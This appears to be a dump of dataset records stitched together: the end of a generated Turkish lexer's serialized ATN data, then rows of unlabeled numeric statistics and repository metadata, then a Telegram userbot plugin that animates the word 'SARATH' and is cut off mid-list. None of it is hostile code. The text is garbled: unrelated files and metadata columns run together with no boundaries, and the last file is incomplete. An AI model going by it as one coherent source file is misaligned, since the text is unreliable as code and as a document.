"\u0002ŤŦ\u0005\r\u0007\u0002ťŤ\u0003\u0002\u0002\u0002Ŧŧ\u0003\u0002\u0002\u0002ŧť\u0003\u0002\u0002\u0002"
"ŧŨ\u0003\u0002\u0002\u0002Ũũ\u0003\u0002\u0002\u0002ũū\u00070\u0002\u0002ŪŬ\u0005\r\u0007\u0002ūŪ\u0003\u0002"
"\u0002\u0002Ŭŭ\u0003\u0002\u0002\u0002ŭū\u0003\u0002\u0002\u0002ŭŮ\u0003\u0002\u0002\u0002ŮŰ\u0003\u0002\u0002"
"\u0002ůť\u0003\u0002\u0002\u0002Űű\u0003\u0002\u0002\u0002űů\u0003\u0002\u0002\u0002űŲ\u0003\u0002\u0002\u0002"
"ŲŴ\u0003\u0002\u0002\u0002ųŵ\u0005\u0013\n\u0002Ŵų\u0003\u0002\u0002\u0002Ŵŵ\u0003\u0002\u0002\u0002ŵ*\u0003"
"\u0002\u0002\u0002ŶŸ\u0007%\u0002\u0002ŷŹ\u0005\r\u0007\u0002Ÿŷ\u0003\u0002\u0002\u0002Źź\u0003\u0002\u0002"
"\u0002źŸ\u0003\u0002\u0002\u0002źŻ\u0003\u0002\u0002\u0002ŻŽ\u0003\u0002\u0002\u0002żž\u0005\u0013\n\u0002"
"Žż\u0003\u0002\u0002\u0002Žž\u0003\u0002\u0002\u0002ž,"
"\u0003\u0002\u0002\u0002ſƁ\u0007B\u0002\u0002ƀƂ\u0005\r\u0007\u0002Ɓƀ\u0003\u0002\u0002\u0002Ƃƃ\u0003\u0002"
"\u0002\u0002ƃƁ\u0003\u0002\u0002\u0002ƃƄ\u0003\u0002\u0002\u0002ƄƆ\u0003\u0002\u0002\u0002ƅƇ\u0005\u0013\n\u0002"
"Ɔƅ\u0003\u0002\u0002\u0002ƆƇ\u0003\u0002\u0002\u0002Ƈ.\u0003\u0002\u0002\u0002ƈƊ\u0007>\u0002\u0002ƉƋ\u0005\r"
"\u0007\u0002ƊƉ\u0003\u0002\u0002\u0002Ƌƌ\u0003\u0002\u0002\u0002ƌƊ\u0003\u0002\u0002\u0002ƌƍ\u0003\u0002\u0002"
"\u0002ƍƎ\u0003\u0002\u0002\u0002ƎƏ\u0007@\u0002\u0002Ə0\u0003\u0002\u0002\u0002ƐƑ\u0007<\u0002\u0002Ƒǜ\u0007"
"+\u0002\u0002ƒƓ\u0007<\u0002\u0002ƓƔ\u0007/\u0002\u0002Ɣǜ\u0007+\u0002\u0002ƕƖ\u0007<\u0002\u0002ƖƗ\u0007/\u0002"
"\u0002Ɨǜ\u0007_\u0002\u0002Ƙƙ\u0007<\u0002\u0002ƙǜ\u0007F\u0002\u0002ƚƛ\u0007<\u0002\u0002ƛƜ\u0007/\u0002\u0002"
"Ɯǜ\u0007F\u0002\u0002Ɲƞ\u0007:\u0002\u0002ƞƟ\u0007/\u0002\u0002Ɵǜ\u0007+\u0002\u0002Ơơ\u0007=\u0002\u0002"
"ơǜ\u0007+\u0002\u0002Ƣƣ\u0007=\u0002\u0002ƣƤ\u0007–\u0002\u0002Ƥǜ\u0007+\u0002\u0002ƥƦ\u0007<\u0002\u0002"
"Ʀǜ\u0007*\u0002\u0002Ƨƨ\u0007<\u0002\u0002ƨƩ\u0007/\u0002\u0002Ʃǜ\u0007*\u0002\u0002ƪƫ\u0007<\u0002\u0002"
"ƫƬ\u0007)\u0002\u0002Ƭǜ\u0007*\u0002\u0002ƭƮ\u0007<\u0002\u0002ƮƯ\u0007)\u0002\u0002Ưǜ\u0007+\u0002\u0002"
"ưƱ\u0007<\u0002\u0002Ʊǜ\u0007R\u0002\u0002ƲƳ\u0007<\u0002\u0002Ƴǜ\u0007r\u0002\u0002ƴƵ\u0007<\u0002\u0002"
"Ƶǜ\u0007~\u0002\u0002ƶƷ\u0007?\u0002\u0002Ʒǜ\u0007~\u0002\u0002Ƹƹ\u0007?\u0002\u0002ƹǜ\u0007+\u0002\u0002"
"ƺƻ\u0007?\u0002\u0002ƻǜ\u0007*\u0002\u0002Ƽƽ\u0007<\u0002\u0002ƽƾ\u0007–\u0002\u0002ƾǜ\u00071\u0002\u0002"
"ƿǀ\u0007<\u0002\u0002ǀǜ\u00071\u0002\u0002ǁǂ\u0007<\u0002\u0002ǂǃ\u0007`\u0002\u0002ǃǜ\u0007+\u0002\u0002"
"DŽDž\u0007±\u0002\u0002Dždž\u0007^\u0002\u0002džLJ\u0007a\u0002\u0002LJLj\u0007*\u0002\u0002Ljlj\u0007テ\u0002\u0002"
"ljNJ\u0007+\u0002\u0002NJNj\u0007a\u0002\u0002Njnj\u00071\u0002\u0002njǜ\u0007±\u0002\u0002Ǎǎ\u0007Q\u0002\u0002"
"ǎǏ\u0007a\u0002\u0002Ǐǜ\u0007q\u0002\u0002ǐǑ\u0007q\u0002\u0002Ǒǒ\u0007a\u0002\u0002ǒǜ\u0007Q\u0002\u0002"
"Ǔǔ\u0007Q\u0002\u0002ǔǕ\u0007a\u0002\u0002Ǖǜ\u0007Q\u0002\u0002ǖǗ\u0007^\u0002\u0002Ǘǘ\u0007q\u0002\u0002"
"ǘǜ\u00071\u0002\u0002Ǚǚ\u0007>\u0002\u0002ǚǜ\u00075\u0002\u0002ǛƐ\u0003\u0002\u0002\u0002Ǜƒ\u0003\u0002\u0002"
"\u0002Ǜƕ\u0003\u0002\u0002\u0002ǛƘ\u0003\u0002\u0002\u0002Ǜƚ\u0003\u0002\u0002\u0002ǛƝ\u0003\u0002\u0002\u0002"
"ǛƠ\u0003\u0002\u0002\u0002ǛƢ\u0003\u0002\u0002\u0002Ǜƥ\u0003\u0002\u0002\u0002ǛƧ\u0003\u0002\u0002\u0002Ǜƪ\u0003"
"\u0002\u0002\u0002Ǜƭ\u0003\u0002\u0002\u0002Ǜư\u0003\u0002\u0002\u0002ǛƲ\u0003\u0002\u0002\u0002Ǜƴ\u0003\u0002"
"\u0002\u0002Ǜƶ\u0003\u0002\u0002\u0002ǛƸ\u0003\u0002\u0002\u0002Ǜƺ\u0003\u0002\u0002\u0002ǛƼ\u0003\u0002\u0002"
"\u0002Ǜƿ\u0003\u0002\u0002\u0002Ǜǁ\u0003\u0002\u0002\u0002ǛDŽ\u0003\u0002\u0002\u0002ǛǍ\u0003\u0002\u0002\u0002"
"Ǜǐ\u0003\u0002\u0002\u0002ǛǓ\u0003\u0002\u0002\u0002Ǜǖ\u0003\u0002\u0002\u0002ǛǙ\u0003\u0002\u0002\u0002ǜ2\u0003"
"\u0002\u0002\u0002ǝǟ\t\u001a\u0002\u0002Ǟǝ\u0003\u0002\u0002\u0002ǟǠ\u0003\u0002\u0002\u0002ǠǞ\u0003\u0002\u0002"
"\u0002Ǡǡ\u0003\u0002\u0002\u0002ǡǣ\u0003\u0002\u0002\u0002ǢǤ\u00070\u0002\u0002ǣǢ\u0003\u0002\u0002\u0002"
"ǣǤ\u0003\u0002\u0002\u0002ǤǦ\u0003\u0002\u0002\u0002ǥǧ\u0005\u0013\n\u0002Ǧǥ\u0003\u0002\u0002\u0002Ǧǧ\u0003"
"\u0002\u0002\u0002ǧ4\u0003\u0002\u0002\u0002Ǩǩ\u0005\u0007\u0004\u0002ǩǪ\u00070\u0002\u0002ǪǬ\u0003\u0002\u0002"
"\u0002ǫǨ\u0003\u0002\u0002\u0002Ǭǭ\u0003\u0002\u0002\u0002ǭǫ\u0003\u0002\u0002\u0002ǭǮ\u0003\u0002\u0002\u0002"
"Ǯǰ\u0003\u0002\u0002\u0002ǯDZ\u0005\u0007\u0004\u0002ǰǯ\u0003\u0002\u0002\u0002ǰDZ\u0003\u0002\u0002\u0002DZdz\u0003"
"\u0002\u0002\u0002DzǴ\u0005\u0013\n\u0002dzDz\u0003\u0002\u0002\u0002dzǴ\u0003\u0002\u0002\u0002Ǵ6\u0003\u0002\u0002"
"\u0002ǵǷ\u0005\t\u0005\u0002Ƕǵ\u0003\u0002\u0002\u0002ǷǸ\u0003\u0002\u0002\u0002ǸǶ\u0003\u0002\u0002\u0002"
"Ǹǹ\u0003\u0002\u0002\u0002ǹ8\u0003\u0002\u0002\u0002ǺǼ\u0005\u000b\u0006\u0002ǻǺ\u0003\u0002\u0002\u0002Ǽǽ\u0003"
"\u0002\u0002\u0002ǽǻ\u0003\u0002\u0002\u0002ǽǾ\u0003\u0002\u0002\u0002Ǿ:\u0003\u0002\u0002\u0002ǿȁ\u0005\u000b"
"\u0006\u0002Ȁǿ\u0003\u0002\u0002\u0002ȁȂ\u0003\u0002\u0002\u0002ȂȀ\u0003\u0002\u0002\u0002Ȃȃ\u0003\u0002\u0002"
"\u0002ȃȅ\u0003\u0002\u0002\u0002ȄȆ\u0007/\u0002\u0002ȅȄ\u0003\u0002\u0002\u0002ȅȆ\u0003\u0002\u0002\u0002"
"ȆȈ\u0003\u0002\u0002\u0002ȇȉ\u0005\u000b\u0006\u0002Ȉȇ\u0003\u0002\u0002\u0002ȉȊ\u0003\u0002\u0002\u0002ȊȈ\u0003"
"\u0002\u0002\u0002Ȋȋ\u0003\u0002\u0002\u0002ȋȍ\u0003\u0002\u0002\u0002ȌȎ\u0005\u0013\n\u0002ȍȌ\u0003\u0002\u0002"
"\u0002ȍȎ\u0003\u0002\u0002\u0002Ȏ<\u0003\u0002\u0002\u0002ȏȜ\u0005\u000f\b\u0002ȐȜ\u0005\u0011\t\u0002ȑȒ\u00070"
"\u0002\u0002Ȓȓ\u00070\u0002\u0002ȓȜ\u00070\u0002\u0002Ȕȕ\u0007*\u0002\u0002ȕȖ\u0007#\u0002\u0002ȖȜ\u0007+\u0002"
"\u0002ȗȘ\u0007*\u0002\u0002Șș\u0007A\u0002\u0002șȜ\u0007+\u0002\u0002ȚȜ\t\u001b\u0002\u0002țȏ\u0003\u0002\u0002"
"\u0002țȐ\u0003\u0002\u0002\u0002țȑ\u0003\u0002\u0002\u0002țȔ\u0003\u0002\u0002\u0002țȗ\u0003\u0002\u0002\u0002"
"țȚ\u0003\u0002\u0002\u0002Ȝ>\u0003\u0002\u0002\u0002ȝȞ\u0005=\u001f\u0002Ȟ@\u0003\u0002\u0002\u0002ȟȡ\n\u001c"
"\u0002\u0002Ƞȟ\u0003\u0002\u0002\u0002ȡȢ\u0003\u0002\u0002\u0002ȢȠ\u0003\u0002\u0002\u0002Ȣȣ\u0003\u0002\u0002"
"\u0002ȣB\u0003\u0002\u0002\u0002ȤȦ\u000b\u0002\u0002\u0002ȥȤ\u0003\u0002\u0002\u0002Ȧȧ\u0003\u0002\u0002\u0002"
"ȧȨ\u0003\u0002\u0002\u0002ȧȥ\u0003\u0002\u0002\u0002ȨD\u0003\u0002\u0002\u0002I\u0002Y^jmpu\u0083\u0086\u0089"
"\u008e\u009c\u009f¡§\u00ad°³¸»¿ÂÈÏÓÚÞâåçìð÷ĈČĝĦīņŋŏŒŔřŜšŧŭűŴźŽƃƆƌǛǠǣǦǭǰdzǸǽȂȅȊȍțȢȧ\u0002 "
)
TurkishLexer._decision_to_DFA = [DFA(TurkishLexer._ATN.getDecisionState(i), i) for i in
range(len(TurkishLexer._ATN.decisionToState))]
| 95.513793
| 118
| 0.758764
| 4,279
| 27,699
| 4.938771
| 0.197943
| 0.268301
| 0.261203
| 0.10221
| 0.196707
| 0.152463
| 0.141154
| 0.129939
| 0.122273
| 0.106421
| 0
| 0.537758
| 0.068234
| 27,699
| 289
| 119
| 95.844291
| 0.273742
| 0
| 0
| 0.050725
| 0
| 0.65942
| 0.842913
| 0.840133
| 0
| 0
| 0
| 0
| 0
| 1
| 0.007246
| false
| 0
| 0.047101
| 0
| 0.09058
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
eba015aa26805f8c1d6fbc29526329465164d05c
| 7,810
|
py
|
Python
|
userbot/plugins/sarath.py
|
Aliensuniquebot/CatUserbot
|
93561a620fc1198c6fe6c259412088f4bc81d97b
|
[
"MIT"
] | 1
|
2020-07-18T07:42:58.000Z
|
2020-07-18T07:42:58.000Z
|
userbot/plugins/sarath.py
|
praveen368/CatUserbot
|
4b0cd970551ffaf86b9fdd5da584c1b3882821ff
|
[
"MIT"
] | null | null | null |
userbot/plugins/sarath.py
|
praveen368/CatUserbot
|
4b0cd970551ffaf86b9fdd5da584c1b3882821ff
|
[
"MIT"
] | null | null | null |
"""Emoji
Available Commands:
.sarath"""
from telethon import events
import asyncio
from userbot.utils import admin_cmd
@borg.on(admin_cmd(pattern="sarath$"))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.3
animation_ttl = range(0, 30)
animation_chars = [
"S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️◼️",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
